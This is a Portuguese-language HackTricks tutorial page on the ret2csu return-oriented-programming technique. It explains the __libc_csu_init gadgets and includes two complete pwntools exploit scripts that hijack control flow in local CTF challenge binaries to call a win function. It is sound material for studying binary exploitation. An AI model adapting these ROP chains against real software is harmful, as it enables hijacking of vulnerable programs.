Ret2csu

Reading time: 7 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

https://www.scs.stanford.edu/brop/bittau-brop.pdfInformaçÔes Båsicas

ret2csu Ă© uma tĂ©cnica de hacking usada quando vocĂȘ estĂĄ tentando assumir o controle de um programa, mas nĂŁo consegue encontrar os gadgets que normalmente usa para manipular o comportamento do programa.

Quando um programa usa certas bibliotecas (como libc), ele possui algumas funçÔes integradas para gerenciar como diferentes partes do programa se comunicam. Entre essas funçÔes, existem algumas joias ocultas que podem agir como nossos gadgets ausentes, especialmente uma chamada __libc_csu_init.

Os Gadgets MĂĄgicos em __libc_csu_init

Em __libc_csu_init, hĂĄ duas sequĂȘncias de instruçÔes (gadgets) a serem destacadas:

  1. A primeira sequĂȘncia nos permite configurar valores em vĂĄrios registradores (rbx, rbp, r12, r13, r14, r15). Estes sĂŁo como slots onde podemos armazenar nĂșmeros ou endereços que queremos usar mais tarde.
armasm
pop rbx;
pop rbp;
pop r12;
pop r13;
pop r14;
pop r15;
ret;

Este gadget nos permite controlar esses registradores ao retirar valores da pilha para eles.

  1. A segunda sequĂȘncia usa os valores que configuramos para fazer algumas coisas:
  • Mover valores especĂ­ficos para outros registradores, tornando-os prontos para usarmos como parĂąmetros em funçÔes.
  • Realizar uma chamada para um local determinado pela soma dos valores em r15 e rbx, e entĂŁo multiplicando rbx por 8.
armasm
mov rdx, r15;
mov rsi, r14;
mov edi, r13d;
call qword [r12 + rbx*8];
  1. Talvez vocĂȘ nĂŁo conheça nenhum endereço para escrever lĂĄ e vocĂȘ precisa de uma instrução ret. Note que o segundo gadget tambĂ©m terminarĂĄ em um ret, mas vocĂȘ precisarĂĄ atender a algumas condiçÔes para alcançå-lo:
armasm
mov rdx, r15;
mov rsi, r14;
mov edi, r13d;
call qword [r12 + rbx*8];
add rbx, 0x1;
cmp rbp, rbx
jnz <func>
...
ret

As condiçÔes serão:

  • [r12 + rbx*8] deve apontar para um endereço que armazena uma função chamĂĄvel (se nĂŁo houver ideia e sem pie, vocĂȘ pode apenas usar a função _init):
  • Se _init estiver em 0x400560, use o GEF para procurar um ponteiro na memĂłria para ele e faça com que [r12 + rbx*8] seja o endereço com o ponteiro para _init:
bash
# Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
gef➀  search-pattern 0x400560
[+] Searching '\x60\x05\x40' in memory
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x400000-0x401000), permission=r-x
0x400e38 - 0x400e44  →   "\x60\x05\x40[...]"
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x600000-0x601000), permission=r--
0x600e38 - 0x600e44  →   "\x60\x05\x40[...]"
  • rbp e rbx devem ter o mesmo valor para evitar o salto
  • Existem alguns pops omitidos que vocĂȘ precisa levar em conta

RDI e RSI

Outra maneira de controlar rdi e rsi a partir do gadget ret2csu Ă© acessando offsets especĂ­ficos:

https://www.scs.stanford.edu/brop/bittau-brop.pdf

Verifique esta pågina para mais informaçÔes:

BROP - Blind Return Oriented Programming

Exemplo

Usando a chamada

Imagine que vocĂȘ deseja fazer uma syscall ou chamar uma função como write(), mas precisa de valores especĂ­ficos nos registradores rdx e rsi como parĂąmetros. Normalmente, vocĂȘ procuraria gadgets que definem esses registradores diretamente, mas nĂŁo consegue encontrar nenhum.

É aqui que o ret2csu entra em cena:

  1. Configurar os Registradores: Use o primeiro gadget mĂĄgico para retirar valores da pilha e colocĂĄ-los em rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) e r15.
  2. Usar o Segundo Gadget: Com esses registradores configurados, vocĂȘ usa o segundo gadget. Isso permite que vocĂȘ mova os valores escolhidos para rdx e rsi (de r14 e r13, respectivamente), preparando os parĂąmetros para uma chamada de função. AlĂ©m disso, ao controlar r15 e rbx, vocĂȘ pode fazer o programa chamar uma função localizada no endereço que vocĂȘ calcula e coloca em [r15 + rbx*8].

VocĂȘ tem um exemplo usando esta tĂ©cnica e explicando aqui, e este Ă© o exploit final que usou:

python
from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

POP_CHAIN = 0x00401224 # pop r12, r13, r14, r15, ret
REG_CALL = 0x00401208  # rdx, rsi, edi, call [r15 + rbx*8]
RW_LOC = 0x00404028

rop.raw('A' * 40)
rop.gets(RW_LOC)
rop.raw(POP_CHAIN)
rop.raw(0)                      # r12
rop.raw(0)                      # r13
rop.raw(0xdeadbeefcafed00d)     # r14 - popped into RDX!
rop.raw(RW_LOC)                 # r15 - holds location of called function!
rop.raw(REG_CALL)               # all the movs, plus the call

p.sendlineafter('me\n', rop.chain())
p.sendline(p64(elf.sym['win']))            # send to gets() so it's written
print(p.recvline())                        # should receive "Awesome work!"

warning

Note que o exploit anterior não é destinado a fazer um RCE, ele é destinado apenas a chamar uma função chamada win (pegando o endereço de win da entrada padrão chamando gets na cadeia ROP e armazenando-o em r15) com um terceiro argumento com o valor 0xdeadbeefcafed00d.

Ignorando a chamada e alcançando o ret

O seguinte exploit foi extraído desta pågina onde o ret2csu é usado, mas em vez de usar a chamada, ele estå ignorando as comparaçÔes e alcançando o ret após a chamada:

python
# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
# This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/

from pwn import *

# Establish the target process
target = process('./ret2csu')
#gdb.attach(target, gdbscript = 'b *    0x4007b0')

# Our two __libc_csu_init rop gadgets
csuGadget0 = p64(0x40089a)
csuGadget1 = p64(0x400880)

# Address of ret2win and _init pointer
ret2win = p64(0x4007b1)
initPtr = p64(0x600e38)

# Padding from start of input to saved return address
payload = "0"*0x28

# Our first gadget, and the values to be popped from the stack

# Also a value of 0xf means it is a filler value
payload += csuGadget0
payload += p64(0x0) # RBX
payload += p64(0x1) # RBP
payload += initPtr # R12, will be called in `CALL qword ptr [R12 + RBX*0x8]`
payload += p64(0xf) # R13
payload += p64(0xf) # R14
payload += p64(0xdeadcafebabebeef) # R15 > soon to be RDX

# Our second gadget, and the corresponding stack values
payload += csuGadget1
payload += p64(0xf) # qword value for the ADD RSP, 0x8 adjustment
payload += p64(0xf) # RBX
payload += p64(0xf) # RBP
payload += p64(0xf) # R12
payload += p64(0xf) # R13
payload += p64(0xf) # R14
payload += p64(0xf) # R15

# Finally the address of ret2win
payload += ret2win

# Send the payload
target.sendline(payload)
target.interactive()

Por Que NĂŁo Usar libc Diretamente?

Geralmente, esses casos tambĂ©m sĂŁo vulnerĂĄveis a ret2plt + ret2lib, mas Ă s vezes vocĂȘ precisa controlar mais parĂąmetros do que os que podem ser facilmente controlados com os gadgets que vocĂȘ encontra diretamente no libc. Por exemplo, a função write() requer trĂȘs parĂąmetros, e encontrar gadgets para definir todos esses diretamente pode nĂŁo ser possĂ­vel.

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks